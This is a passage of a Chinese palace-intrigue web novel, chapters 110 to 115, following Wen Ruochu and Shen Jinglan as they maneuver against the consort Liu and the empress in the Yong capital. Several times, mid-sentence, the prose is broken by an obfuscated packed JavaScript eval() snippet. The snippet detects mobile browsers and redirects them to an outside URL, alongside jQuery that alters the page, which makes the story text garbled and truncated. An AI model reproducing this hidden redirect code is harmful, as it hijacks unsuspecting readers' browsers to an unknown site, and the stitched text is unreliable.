温若初没问是如何病的,这“病”十有**和沈惊澜有关,沈飞白不是什么好人,“病”得是时候,沈飞白不“病”,病的就是沈惊澜了。 只是沈飞白的生母柳妃不是善茬,兄长战功赫赫,是雍国一等将军,母族强大,深受雍国老皇帝的宠爱。 沈飞白这副鬼样子回去,不好糊弄,柳妃怕是要闹上一阵子了。 沈惊澜的归国路注定不顺。 书中沈惊澜趁大虞宫变,盗走虎符,凭借一只骑兵,以及天机阁情报优势,以秋风扫落叶之势,短短几个月结束雍国四分五裂局面,弑兄杀父,登上皇位。 手段狠辣干脆,简单粗暴,用时短见效快,同时也为世人诟病,沈惊澜皇位名不正言不顺。 眼下,沈惊澜为自己谋得解除质子身份的机会,显然是想名正言顺。 想要名正言顺就要一步一步筹谋,多耗费些心神。 温若初不知道沈惊澜为何会改变计划,心里虽不解,但对沈惊澜的转变还是很满意的,隐形战场远比流血**的战争来得划算一些。 她心里盘算着,只有她和沈惊澜两个人是不够的。 沈惊澜不能时时在他身边,还得靠自己,她需要人,至少两人头脑机灵又忠心的丫鬟,两个身手不错的侍卫。 想起昨日那碗“安胎药”,不过是一个不入流的小手段,雍国老皇帝生了十三个儿子,或许是坏事干多了,德行有亏。 儿子辈人丁兴旺,孙子辈只大皇子生了两个带把的,其余的皇孙均不到十岁便夭折了,或是胎死腹中。 十三个儿子,只两个孙子,这就有点意思了。 马车摇摇晃晃,行驶速度很快,却也很稳,温若初坐在马车里抬手轻轻抚上小腹,最重要的是身边要有一个信得过的大夫。 “我最近……肚子有点不大舒服,到了雍国都城,能不能给我找一个大夫?” 沈惊澜坐在温若初对面,闻言撩起眼皮看她,瞄了一眼她的小腹,眉心微微蹙了蹙,关切道。 “若是身子不舒服,再多留两日。” “不用。” 温若初赶紧摆手拒绝,她只是想找一个大夫,又不是真的肚子疼。 再者范飞叶有一点说的不错,虽说是主要原因是沈惊澜脑子抽风把她“偷”出来,错不在她,可是使团到底是因她滞留,且处处照顾,严重拖慢了使团回国进度,温若初心里多少还是有些过意不去的。 沈惊澜接着说道,“古叔在雍国都城,快的话六七日可抵达,到时候让古叔给你好好瞧瞧。” “古叔?”温若初觉得这个名字熟悉,大概又是沈惊澜手下的得力干将,“医术较胡庸如何?” 沈惊澜道:“胡庸医术师承古叔。” 胡庸相貌平平,楞是凭借医术留在女皇身边,胡庸还要管古叔叫师傅,这个古叔应该是个厉害的,到都城看看这个人怎么样,若是心性正直的,到时候就把古叔要过来。 沈惊澜又不说话了,这一路就没怎么说话,好像有什么心事,眉目微敛,拇指 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当下来看,沈惊澜大概率不会杀进皇宫,却少不了刁难。 温若初是被沈惊澜“偷”出来的,沈惊澜说过大虞和雍国之间不会因此事生乱,也不知道沈惊澜用了什么方法。 但她这么出来去雍国,好说不好听,雍国那些人指不定会拿此事攻讦她和沈惊澜。 沈惊澜想名正言顺地登上皇位,她也需要一个名正言顺留在雍国的理由。 上官东窗事发之后,女皇赏赐燕郡给她作为属地,燕郡无论在地理位置还是富庶程度,都强于刚刚划归到大虞的边境三城。 她想拿燕郡换边境三城,以特使的身份留在雍国,谁也挑不出理。 从某种意义上来说,她和沈惊澜已经绑定在一起,沈惊澜的利益就是她的利益。 临傍晚,使团到达边境禹郡修整,打算明日一早继续走。 温若初独自待在房间,写了一封信给女皇,拜托店小二送到驿站。 第110章 初到雍国 使团抵达雍国都城这日,未到都城,柳妃得了消息派人来城门口接沈飞白,大致问了问沈飞白病情。 沈惊澜只说路上受了风寒,找了大夫,没医治好。 感染风寒能把人糟践成只剩下半条命? 理由蹩脚不可信, 来接沈飞白的人是个四十多岁的中年男子,名叫洪方,专门为柳妃办宫外面的事,不是好糊弄的,让人接过沈飞白马车,骑在马背上斜睨眼睛,打量沈惊澜。 “奉劝你一句,六殿下深得陛下宠爱,身染重病回国,陛下和娘娘一定会派人仔细查找病因,可千万别给自己找麻烦。” 语气傲慢,带着浓重的威胁意味,没把沈惊澜当回事。 沈惊澜坐在马车里,撩开车窗帘子看洪方,眯了眯眼睛,目光泛起冷意。 “来人,此人以小犯上,拖下去打二十军棍,以示惩戒。” 使团所剩成员都是沈惊澜的人,话音落,立马有人站出来,去拽洪方下马。 洪方瞪大眼睛一脸不可置信地看向沈惊澜,似乎没料到沈惊澜一个没有母族帮衬,又招陛下厌恶的皇子居然敢对他动手,赶紧怒着声音自我介绍。 “我可是柳妃娘娘的人,你敢打我……啊!啊!” 怒骂声很快被军棍落在屁股上闷响,以及洪方的惨叫声取代。 温若初坐在马车里,侧目看向沈惊澜,像不认识了似的。知道沈惊澜不像他所表现出的那般柔弱,亲眼看到沈惊澜杀伐决断的一面,心底还是有些震惊。 他们初到雍国都城,第一枪必须打响,日后才能有人认九殿下。 雍国情况比大虞复杂,虽说太子已立,十三个皇子,谁又肯甘心大权旁落,屈居人下。 以后阿猫阿狗想欺负到沈惊澜头上的时候,也得掂量掂量,沈惊澜没有母族帮衬,不受雍国皇帝喜爱,也是雍国正八经入了皇室宗祠的。 以雍国皇子身份留在大虞为质十余年,有功,谁都不能不认。 沈惊澜此举得罪了柳妃,却做的极对。 谁让这个自称为柳妃办事的人倒霉呢,上赶着找不自在,撞枪口上了。 洪方被打的消息,没等沈惊澜一行人进城,就传开了。 和书中描写的差不多,使团队伍到达皇宫准备拜见雍国老皇帝的时候,队伍被几个礼部官员拦下。 “九殿下,陛下体恤九殿下舟车劳顿,可暂行前往藩客驿馆歇息,改日拜见。” 雍国老皇帝厌恶沈惊澜,情理之中却也意料之外,或许是城门外打洪方起了作用,好歹是给他们提供了一个住的地方,给沈惊澜留了些颜面。 温若初和沈惊澜在藩客驿馆安顿下来。 藩客驿馆是给外国使臣住的地方,近些年雍国四分五裂国力衰微,很少有藩国使臣来访,藩客驿馆有些年久失修,看起来稍显破旧。 温若初刚刚还庆幸好歹有落脚的地方,瞅了一圈环境,境遇好像也没比书中描写的好多少。 范天恩愁眉不展,犹豫着说道。 “若是不嫌弃,九殿下和若初郡主搬去寒舍住,条件比这里稍微好些,府里有人照顾。” “不用。” “不用。” 沈惊澜和温若初异口同声。 沈惊澜向来不愿意多解释什么,范天恩下意识视线落在温若初身上。 温若初逛了一圈,拍拍手上的灰,瞅了一眼沈惊澜,沈惊澜有沈惊澜的考量,她有她的算计。 对范天恩道:“用不了几日,礼部就会请我们出去,送宅子送地。” 托人带给女皇的信,差不多到大虞上京了,暂且在这里忍耐些日子。 范天恩怔楞地看着温若初,稍微知道些皇室秘辛的人都知道九殿下和陛下之前怎么回事,从今天礼部对九殿下的态度也能看出来,连拜见陛下的日子都没定。 在陛下那,沈惊澜母亲的事没过去,陛下心里厌恶九殿下。 既然厌恶如此,又怎么会主动送宅子送地? 这位若初郡主不清楚情况,没事瞎说的,有个愿望挺好。 九殿下无意去他府上,范天恩也没有强求的道理。 范天恩走后,沈惊澜让人给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温若初顿住脚步,拉住沈惊澜。 “人来都来了,你见见呗,听听什么意思。” 沈惊澜纵然手握天机阁,已筹谋多年,有绝对的胜算,大皇子毕竟还是太子,皇后也还是皇后,他们初来乍到,总不好上来就和皇后拼个你死我活。 循序渐进,说不定能起到意想不到的效果。 第111章 借花献佛 沈惊澜同意见皇后的人,小辛把人请了进来。 像是怕人发现什么似的,刁嬷嬷穿着黑色带帽兜的斗篷,遮挡住大半张脸,见到沈惊澜和温若初才摘下斗篷帽子。 屈膝行礼,“老奴皇后宫里掌事宫女,刁嬷嬷,见过九殿下。” 沈惊澜坐在椅子里,面色阴沉,眉眼低垂,摩挲着手里的茶盏,连个眼神都没给刁嬷嬷,不买皇后的账。 刁嬷嬷站在原地,尴尬地笑了笑,到底是皇后身边第一掌事嬷嬷,脑子转得快,受到冷脸无视也不在意,错开视线笑盈盈地看向温若初。 “这位就是大虞的若初郡主吧,”上下打量道,笑道,“都说大虞上京风水养人,瞧这出落得水灵的,气色不错,皇后娘娘知道郡主有了身子,特意命老奴带两盒燕窝给郡主安胎,还有一些器皿,布匹,首饰,一会让人挪屋里。” 若是温若初自己,甭管是谁送来的,肯定照单全收,有多少要多少。 不是和仇家和解,送过来的东西该收就收,该捅刀子捅刀子,两不耽误。 温若初坐在沈惊澜身边,深知沈惊澜对皇后以及大皇子的恨意,拿捏不准沈惊澜的心思,没说收下,也没拒绝。 温若初微微笑了笑,抬眼看向刁嬷嬷。 “多谢皇后娘娘体恤,嬷嬷亲自跑一趟,不会只是来送东西吧?” “郡主玲珑心思,九殿下大虞为质多年,于雍国是有功之人,皇后娘娘向陛下请旨,当封赏九殿下,没想到……” 刁嬷嬷叹了一口,像是很心疼沈惊澜和温若初似的,惋惜道。 “柳妃娘娘侍疾,向陛下提起六殿下病重一事,话里话外的意思是九殿下没照顾好六殿下,六殿下病症来得蹊跷。” “陛下起了疑心,封赏之事就搁置下来,娘娘不忍心九殿下和若初郡主受冷遇,下榻寒舍,准备了宅子,九殿下和郡主随时可以搬过去住。” “柳妃母族势强,九殿下得罪柳妃怕是以后的日子难过,皇后娘娘体恤,愿意帮九殿下,至于当年之事,年代久远,皇后娘娘和太子殿下大度不追究,九殿下也不必耿耿于怀,记挂心上……” “当**”彼此心照不宣都明白指的是大皇子辱没沈惊澜母妃的事。 刁嬷嬷还闲聊了几句近日都城轶事,和硕郡王家的千金因先于柳妃看中了一套头面并买下,无意中得罪了柳妃,没过两个月,和硕郡王因一桩贪墨案受牵连,举家流放。 刁嬷嬷言下之意,柳妃已经把六皇子沈飞白突染恶疾这笔账算在了沈惊澜头上,沈惊澜又打了柳妃的人,等于彻底得罪了母族势力强大的柳妃,用不了多久沈惊澜就会步和硕郡王的后尘。 沈惊澜别无选择,只能投奔皇后,皇后和太子大度,对当年沈惊澜母亲“勾引”大皇子一事,既往不咎。 一个怀了孕的女人遭受自己丈夫儿子的侮辱,回过头来装作受害者大度不计较,还要劝真正的受害者的儿子不要记仇…… 意思还想让沈惊澜去帮他们…… 云淡风轻,带着几分闲聊的意味,就想把当**抹平了。 这位雍国皇后,威逼利诱,厚颜无耻发挥到了极致,对比之下,那位阴私狠毒的柳妃就显得高尚多了。 沈惊澜始终不发一言,面色阴冷,刀子一样的目光盯在刁嬷嬷身上,好像下一瞬就要拔刀砍了刁嬷嬷的脑袋。 别说沈惊澜生气,温若初都气得都有点肝疼,偏头瞅了一眼沈惊澜,能明显感觉到沈惊澜身上从骨子里渗出来的戾气,她从未见过这样的沈惊澜。 温若初心里一惊,她好不容易把沈惊澜的阴暗疯批属性养得随和,费了这么多心神,连自己都搭进去了,可不能因为一个老刁婆子,一朝回到解放前。 抬起手,柔软而白皙掌心,安抚性地落在沈惊澜搭在座椅扶手的手臂上。 沈惊澜心底翻涌起的滔天恨意,突然有一种想见血的冲动,他偏头瞅了一眼温若初,因为这个温度的传来,源于心底深处的这股冲动像是蒙上了一层结界,恨意依旧翻涌,但那股嗜血的冲动逐渐平息。 沈惊澜深吸一口气,抬眼看向站在原地的刁嬷嬷。 “我知道了,嬷嬷先回去吧。” 刁嬷嬷以为沈惊澜同意了,愿意站在太子这边,皇后娘娘说得对,沈惊澜也没有别的选择,容不得他愿不愿意。 刁嬷嬷满意地笑了笑,“那东西老奴命人搬进来?” 温若初站起身,“麻烦嬷嬷了,也不知道是谁传的……” “……城门口那个不长眼的狗奴才言行无状,冲撞了殿下,殿下为维护皇室和柳妃娘娘的体面,才打了那个奴才,嬷嬷不是外人,我就直说了,板子也没打实,说白了就是给旁人看的。” 温若初揣着明白装糊涂,笑得一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“匈奴擅长养马,不是旁家能比的,让古叔和那些匈奴人说,我们愿意长期合作,只要战马品相上乘,价钱方面就让让他们,让古叔早些回来。” “是。” 范天恩答应一声,没急着走,方才听小辛说皇后的人来找沈惊澜,还带着东西。他听完吓了一大跳,怕九殿下沉不住气,试探性地问道。 “殿下,皇后的人来过?” 沈惊澜淡淡鼻音“嗯。”了一声,抬手折下一枝梅花。 “送来的东西,您怎么退回去的?”刚得罪了柳妃,又折皇后的面子,以后不容易混啊。 “收下了,”顿了顿,沈惊澜紧跟学着温若初那副无所谓又气人的语气,“不要白不要。” 范天恩张了张嘴,半天说不出话,这还是他们的九殿下吗?好像被温若初夺舍了。 第112章 雍国需要大换血 刁嬷嬷回宫复命,温若初和沈惊澜在她面前说过的话,原原本本地复述给雍国皇后。 皇后五十多岁,一身华服在身,端在床榻里,眼底满是疲惫,腰板却挺得直,看起来很有活力的样子,听完刁嬷嬷的话后,不屑地轻哼一声。 沈惊澜和温若初不仅没答应站队太子,还想拿她的东西去孝敬柳妃。 “看来大虞把沈惊澜养得不错,连本宫的面子都敢拂了,给脸不要脸!” “既然他们不识好歹,一个无权无势的归国质子,也帮不上太子什么忙,柳妃可是个心胸狭隘的,他们愿意去送死,由着他们去。” “老六是柳妃的命根子,病得不明不白,柳妃认定是沈惊澜干的,柳妃那个疯婆子,疯起来都能**,不出几日,柳妃会让这位九殿下还有温若初骨头渣滓都不剩。” 她派刁嬷嬷去找沈惊澜示好,并非因为沈惊澜,而是温若初,温若初坏了沈惊澜的孩子,两个人好得跟一个人似的,拉拢沈惊澜,就是拉拢温若初。 刁嬷嬷满是褶皱的脸上,浮起几分难色。 “九殿下没有母族帮衬,又招陛下厌恶,不足畏惧,**也就**,没人在意,只是……温若初是大虞郡主,若是在都城出了事,大虞那边怕是不好交代,要不要提醒柳妃娘娘。” 皇后翘着兰花指,捋了捋鬓边花白的鬓发,不以为意道。 “不过是一个郡主,在都城一板砖下去能砸死五个郡主,怕温若初做什么,况且,那温若初是沈惊澜掳来的,没名没分的,就算温若初真出点什么意外……” “……一没公文,二没诏书,谁见过大虞郡主?你见过?他见过?” 皇后看好戏似的嗤笑一声,“反正本宫是没见过,大虞女皇帝找咱们要说法,也不占理,他们大虞的门没关好,还怪咱们雍国的门槛低?” 若初郡主在大虞女皇膝下长大,身上荣宠比皇子皇孙更甚,刁嬷嬷还是有些担心,若初郡主在雍国都城出了事,大虞女皇未必肯愿意坐下来讲理。 柳妃深受陛下宠爱,母族强盛,柳妃背地里不知道做了多少腌臜事,陛下睁一只眼,闭一只眼,不追究。 但温若初到底是不一样,大虞女皇的偏宠在那摆着,若初郡主的含金量又岂是雍国这些郡主可以比的? 皇后娘娘和柳妃之间,说白了是一个窝里斗,都是为了自己的儿子能登上那个龙椅,无伤大雅。可若是真因温若初惹到了大虞,对雍国来说百害无一利。 但皇后不愿意掺和,她一个奴才不好多说什么,只能希望柳妃娘娘能理清其中的厉害关系,可以对付沈惊澜,但离温若初远些。 柳妃请了宫里御医给沈飞白瞧病,都没瞧出所以然来,像是提前商量好了似的,说是沈飞白中了风。 柳妃不相信,之前沈飞白传信回来,说沈惊澜不好对付,不像表面看上去那么软弱可期,后来就没了消息,在看到就是这幅半死不活的样子。 记恨沈惊澜,连带沈惊澜身边的所有人,尤其是温若初肚子里的孩子,沈飞白半死不活,连个后都没有,沈惊澜都快有孩子了。 派人对沈惊澜进行了几次暗杀,派出去的**,连灰都没回来。 后来又派人对温若初的肚子下手,派去的人反倒被扭送到衙门说偷盗主家财物,要不是那衙门主审官员是兄长的人,她还得倒喝一壶。 柳妃欲谋害沈惊澜和温若初始终没得机会,于是改变策略,目标对准最近经常去找沈惊澜的范天恩。 范天恩一个都城守卫将军,几日的功夫,接连接到调任,调来调去,调去了一个兵部闲散职位,整日闲职在府,连带范飞叶也空闲下来,范家手里没了兵权。 范天恩着急忙慌找沈惊澜商议应对之策,急得满嘴起大泡,在这样下去他们范家就完了。 “九殿下,柳妃娘娘已经出手,这该如何是好啊。” 岂止是柳妃对他们下手,就连皇后在背后也起到了推波助澜的作用。 那些人越是纵着,越是肆无忌惮,越会罔顾法度,放松警惕,不是放任他们不反击,而是……还不到时候。 沈惊澜掐算着日子,他给大虞女皇的信到了有些日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温若初本以为能享受一段日子躺平生活,谁曾想她一个二十一世纪牛马,穿了过来还要给沈惊澜当牛马,搬到这座院子的第三天,沈惊澜就交给她一箩筐的账本,还有几大箱子的文书,让她整理。 左右闲来无事,整理就整理吧。 越理越心惊,除了雍国国策自身有问题外,雍国老皇帝也是个昏庸无能的,就算书中沈惊澜不逼宫篡位,雍国挺不了多久就会被他国所灭。 雍国现在的情况就是奸臣当道,忠臣蒙冤,民不聊生,雍国需要大换血。 第113章 娘家来人了 沈惊澜接过温若初手里账本,掀开封皮,随意翻看两页,对范天恩道。 “你这个戍城将军的职位也该挪挪地方,大司马大将军正合适。” 范天恩不好意思地挠头笑了笑,“大司马大将军是柳妃兄长柳正平,哪能轮得上我啊。” “我说能就能。” 沈惊澜手里账本合拢放回箱子里,“你这几日你多做些准备,打起精神,朝廷正是需要你们的时候。” 温若初也在一边点头,范天恩这个人真性情,秉性纯良,有很好的带兵指挥能力,可堪大用。 前两日沈惊澜给她看过一份名单,都是沈惊澜觉得可用之人,范天恩的名字写在前列。 等箱子里这些作奸犯科之人,逐渐被踢出朝廷,名单上的人会逐渐取代这些人的位置。 用不了多久,雍国将会迎来新天。 下午温若初又派人去了一趟皇宫。 她和沈惊澜已经来到都城小半个月,也没得雍国老皇帝召见。 除了柳妃从中作梗,雍国老皇帝也确实不愿意见沈惊澜。 愿不愿意召见是皇帝的事,求不求见是她和沈惊澜的事。 人家是君,沈惊澜是臣,既然想走名正言顺这条路,面子上的功夫不能少,该有的礼节不能缺。 算起来已经是第三次请求觐见,奏疏写得又长又漂亮,还通过了通政司转呈,动静搞得很大,都城百姓都知道了。 近日,坊间时常有百姓凑一起,议论此事。 沈惊澜是刚刚归国质子,有功,却迟迟不得陛下召见,众说纷纭,朝廷苛待有功之人,叫天下人寒心。 下午通政司官员带着沈惊澜的奏疏,受不住众口铄金压力,去求见雍国皇帝。 “陛下,九殿下请求觐见,这是九殿下给微臣递过来的三份奏疏。” 皇帝靠坐在床里,弯腰咳嗽了好一阵子,脸色苍白如纸,眼睛咳得有些充血泛红。 宫女太监围了一圈,端着痰盂的,跪在身后顺气的,忙了大半天。 柳妃喂了好几口水,老皇帝的咳嗽才轻了一些。 柳妃衣着华丽,皮肤白皙透亮,六殿下沈飞白都二十几岁了,她脸上还不见一丝皱纹,让人猜不准真实年龄,看着就是一个年轻少妇,言谈举止别有一番成熟韵味。 柳妃白了一眼通政司官员,扭着腰起身,一把夺过奏疏。 “没瞧见陛下正病着?弄这么个东西烦陛下,不让人消停!” 说着奏疏扔进火炉里,不多时,那奏疏便在熊熊火焰中蜷曲、变黑,最终化为灰烬。 通政司官员头埋得很低,为难道。 “微臣也不敢叨扰陛下,实在是城中百姓议论,臣才……” “百姓蠢,你也蠢?” 柳妃不等官员说完,打断道。 “再说了,不缺他吃,不短他喝,陛下看在皇室血脉情分上,留他一命,已经算给了他天大恩赐。” “他好模好样地回来,六殿下病成那个样子,陛下的病情也愈发严重,都是那个沈惊澜克的。” “陛下仁慈,对他网开一面,没把他撵到犄角旮旯,他还求什么啊,日后这种奏疏不必呈上来,惹陛下烦。” 官员还想说什么,抬眼却见躺靠在床头的陛下,对他摆了摆手,示意他下去,勿要多言。 “臣,告退!” 临近傍晚,温若初和沈惊澜刚刚用过晚饭,通政司的人传信,不出意外,老皇帝不见沈惊澜。 意思很明确,以后不必见面,沈惊澜可以留在都城,没人会管他,沈惊澜自生自灭。 无所谓,该吃吃,该喝喝。 和通政司一起来的还有皇后身边的刁嬷嬷,又带了一些日常吃穿用度的东西,鲛人纱,蜀锦都是上好的布料,人参鹿茸弄了好几盒,玉器摆件也都是上等的水料。 刁嬷嬷面上带着笑意恭敬道。 “都是皇后娘娘的心意,还望九殿下和若初郡主不要嫌弃。” 送来的物件整整摆了两排,承装的箱子用的都是上等楠木,雕刻着样式精美花纹,送来的东西明显比前些日子送来的那些体己物件好上不知道多少。 刁嬷嬷态度也比上次来的时候恭敬许多。 温若初和沈惊澜互看一眼,均是一脸狐疑。 他们基本上已经明确不会和皇后大皇子站队。 自从上次刁嬷嬷走后,皇后和他们再无往来,也放任柳妃暗中对他们搞小动作,眼下,皇后突然送东西过来,实在反常。 事出反常必有妖。 她不介意。 温若初愿意跟着沈惊澜来雍国,就是降妖除魔的。 秉承着不要白不要的宗旨,收下皇后送来的贵礼。 “多谢皇后娘娘。” 刁嬷嬷笑道,“九殿下和郡主不必客气,有什么需要,尽管告诉老奴,老奴转告皇后娘娘。” 刁嬷嬷客套了几句,让随行来的宫女太监仔细着放下东西,带着人离开。 出门后,通政司和人和刁嬷嬷一行人等分开。 一个年龄不大,脑子看着也不大灵光的小太监,一脸不解地问刁嬷嬷。 “沈惊澜连陛下都不待见,那么多好东西给他,不是糟践了?” 皇后新收了一个门客,得到可靠消息,温若初日后要留在都城了,大虞女皇还把边境三城都送给了温若初。 刁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455760|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷嬷横了一眼多嘴无脑的小太监。 “人家马上就鲤鱼跳龙门了,现在这些东西是雪中送炭,过两日想送都挤不进去。” “闭上嘴巴,别让那边的人知道了。”刁嬷嬷特意多叮嘱一句。 “那边的人”在皇后这边特指柳妃,小太监忙不迭点头。 “嬷嬷放心,小的记住了。” 瑞福园 瑞福园是沈惊澜给他们院子提的名字。 通政司的人和刁嬷嬷走后不久,小辛过来传话。 “阁主,有人找若初郡主。” 沈惊澜坐在床榻上,一颗一颗地温若初剥核桃,闻言手顿了一下,微微蹙了蹙眉头,他放下核桃壳。 “让人进来。” 来人风尘仆仆,身穿紫色衣袍,身后披着灰鼠皮披风,玉簪束发,他的眉眼浓黑,相貌周正,往那一站一身浩然正气。 ——正是险些和温若初成亲的凌玄礼。 温若初正靠着软枕瘫坐在床榻里,百无聊赖地往嘴里扔核桃仁,见到凌玄礼,突然有一种遇见老乡的感觉。 她写给大虞女皇的信这会应该还没送到大虞,凌玄礼只身前来不像是受女皇命令抓她回去的。 不是来抓人的,就是来探亲的。 温若初坐起身,眼角眉梢带着笑意。 “凌大人?你怎么来了?” 沈惊澜见到凌玄礼,一脸震惊,猜中了是大虞的人来找温若初,却没猜中来的人居然是凌玄礼。 无波无澜的俊脸上,见到凌玄礼的这一刻,瞬间泛起一层冷意。 温若初坐在沈惊澜对面,一下子就感知到了沈惊澜的情绪变化,走过去,拉起沈惊澜的手。 “愣着干嘛啊,我娘家来客人了,赶紧吩咐厨房,做两道本地菜,招待凌大人。” 言辞间多有不满,却莫名讨得沈惊澜欢心,回握住温若初的手,两人十指相扣,摆在显眼位置。 沈惊澜面色有所缓和,才正眼看向凌玄礼。 “守正,怎么是你?就你一个人?” 温若初不明所以,这是什么话? 凌玄礼应该和别人一起来? 沈惊澜没和温若初提写给大虞女皇两封信的事,温若初不清楚,一脸诧异,看了看沈惊澜,又瞅了瞅凌玄礼。 温若初看着这两个人打哑谜,莫名咂摸出空气隐隐弥漫出一股子**味。 凌玄礼注意到两人牵在一起的手,眉宇间在旁人难以注意到的地方闪过一丝失落。 没接沈惊澜的话,“不必麻烦了,我说两句话就走。” 凌玄礼目光落在温若初身上,面色严肃。 “圣人口谕,有几句话单独问若初郡主。” 第114章 小三的做派 沈惊澜让下人都退了出去,没事人一样,自顾坐到温若初身边。 见温若初和凌玄礼都在睁着眼睛看他。 “你们说你们的,不用管我。” 凌玄礼面色顿了顿,到底是有之前的乌龙,圣人赐婚他和若初郡主,想来沈惊澜是心里介意的。 凌玄礼的朋友很少,沈惊澜是为数不多其中的一个,他以为沈惊澜性格软弱,心思重,对沈惊澜多有照顾。 没想到沈惊澜心里的眼比蜂窝煤都多。 大婚之际,掳走亲王妃,严重了说,视为挑衅大虞。 圣人都点兵准备对雍**事施压了,却收到了两封信,也不知信中写了什么,圣人突然转变想法。 收回赐婚旨意,欲赐婚温若初和沈惊澜,沈惊澜可是在大虞做了十几年的质子。 圣人居然赐婚他们? 实在令人匪夷所思。 后来圣人还问他,温若初的孩子是不是他的? 凌玄礼不敢欺君,如实作答。 也是那时,凌玄礼后知后觉,他被沈惊澜骗了,沈惊澜绝对不是良善之人,沈惊澜心思深沉,野心藏在他的表象之下。 无媒苟合,珠胎暗结,有悖纲常伦理,潜回大虞上京掳走亲王妃,枉顾法度。 雍国六皇子无故病重,说不定也和沈惊澜脱不开干系。 沈惊澜这人就是藏在雪地里冬眠的毒蛇,看着没什么攻击性,一旦气温回暖,有利于他,必定张开獠牙。 心中懊悔,没早点看清沈惊澜的真面目,提醒温若初远离此人。 没几日,圣人就派遣了一支使团队伍,前往雍国。 他向圣人**随行,圣人命他宣旨,宣旨前还特意让他在问一问郡主的意思。 凌玄礼深吸一口气,目光直视沈惊澜,再次强调。 “圣人口谕,单独给若初郡主的。” 沈惊澜蹙了蹙眉心,屁股像是黏在椅子里似的,明显不愿意出去,他抬眼询问的视线看向温若初,目光里带夹杂着几分委屈。 温若初心明镜沈惊澜这小子醋劲犯了,讨好地笑了笑,软声软气地商量。 “乖啊,你先出去。” 沈惊澜慢吞吞起身,一步三回头地推门离开。 凌玄礼回手就把门关上了。 沈惊澜看着紧闭的门板,“……” 好不容易好转的脸色,再次黑了下去,站在门口,久久不愿意离开。 紧闭的门板突然打开,凌玄礼双手张开捏着木门,看向沈惊澜,眼神冰冷,已再无昔日好友之间的情分。 “是圣人口谕,你不能听。” 沈惊澜提起一口气,面上丝毫不见被抓包的羞愧,沉默一瞬,头也不回地转身离开。 房间内剩下温若初和凌玄礼二人。 温若初提了提裙子,欲跪地接旨,凌玄礼抬手虚扶了她的胳膊一下。 “圣人心疼郡主,郡主不必行大礼接旨。” “多谢圣人体恤。” 凌玄礼正了正身姿。 “圣人口谕,若初郡主留在雍国还是回大虞?” 温若初抿了抿唇,方才凌玄礼说带了圣人口谕,差不多就猜到了这句话。 沈惊澜千里迢迢把她从博阳侯府掳走,她睁开眼看到沈惊澜的那刻就有了答案。 回雍国固然是好,可回去就要和凌玄礼成亲,她和凌玄礼没感情。 还是那句话,她肚子里怀着沈惊澜的孩子,嫁给凌玄礼算怎么回事。 凌玄礼为人刚正,目前大虞形势,凌玄礼极有可能承袭大统。 如此一来,凌玄礼是一定要有自己的子嗣的。 她肚子里的孩子若是女儿还好,若是个儿子,让这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我托你照顾小初,你照顾得够彻底的,连孩子都有了。” 声音低沉冰冷,带着责问的意味。 第115章 你嫁人带着我 凌玄礼顿住脚步,回头诧异地看向沈惊澜。 念在温若初执意留下来的份上,凌玄礼本想解释两句,听到后半句话,心底泛起疑惑,稍微思忖,便想通沈惊澜为何会冒出这样一句莫名的话。 想来,沈惊澜是误会了。 凌玄礼无语又有些同情,还有些阴暗的快意。 他摇了摇头,到底是没说什么转身走了。 沈惊澜定定地看着凌玄礼离开的方向,墨黑的眸子,在夜色里闪着幽暗的光,垂在身体两侧的手,紧紧攥成拳头,骨节捏得咔吱咔吱直响。 温若初若是敢走,就杀了凌玄礼。 房间内,温若初早早洗漱,准备歇息。 明日入宫,就要见到雍国老皇帝,皇后,柳妃那些牛鬼蛇神,她得养足了精神。 坐在铜镜前卸下钗环,沈惊澜推门走了进来,脚步踉踉跄跄,身上沾着酒气。 走到她身后,双臂环住她的肩膀,弯腰低头蹭她的后颈,像一只极度缺乏安全感,受了委屈寻求安慰的小狗崽。 温若初后颈泛起一阵痒意,却没躲,笑着拍了拍沈惊澜手臂,柔声问道。 “怎么了?” “你说过,你嫁人带着我的。” 沈惊澜的声音瓮声瓮气的,带着几分鼻音。 她成亲不带沈惊澜,那不出事了? 当时不过随口胡诌的一句话,竟然被沈惊澜记到现在,温若初觉得有些好笑。 她看着铜镜里的沈惊澜,敏锐地注意到,沈惊澜眼底微微泛红。 小辛的确不适合搞盯梢,挖情报的活,方才她和凌玄礼屋里说话的时候,窗棱上一道瘦弱身影闪过,明显就是蹲在门外听。 小辛听命沈惊澜,温若初当时没管,由着小辛听,左右也是要告诉沈惊澜的,小辛转述,省得她说了。 万万没想到,小辛心里素质不行,听了两句话跑了,关键了没听到。 后来凌玄礼说明日带着女皇的旨意去雍国都城见皇帝,封温若初为公主,赐婚于沈惊澜,连带边境三城送给温若初,以昭示大虞和雍国两国和平友好。 正合她心意,这个旨意来得很是时候,柳家把持朝政,根系庞大。 她和沈惊澜在这边束手束脚,女皇旨意的到来,必将极大改善他们当下的被动现状。 只是…… 温若初心底有个小疑问,算算日子,她写给大虞女皇的信件,此时应该刚到大虞。 眼下,凌玄礼带着旨意抵达雍国都城,时间上对不上。 想了半天都想不明白,是中间那个环节不对,竟提高效率至如此。 想不明白索性不想了。 明日对她和沈惊澜来说是大日子。 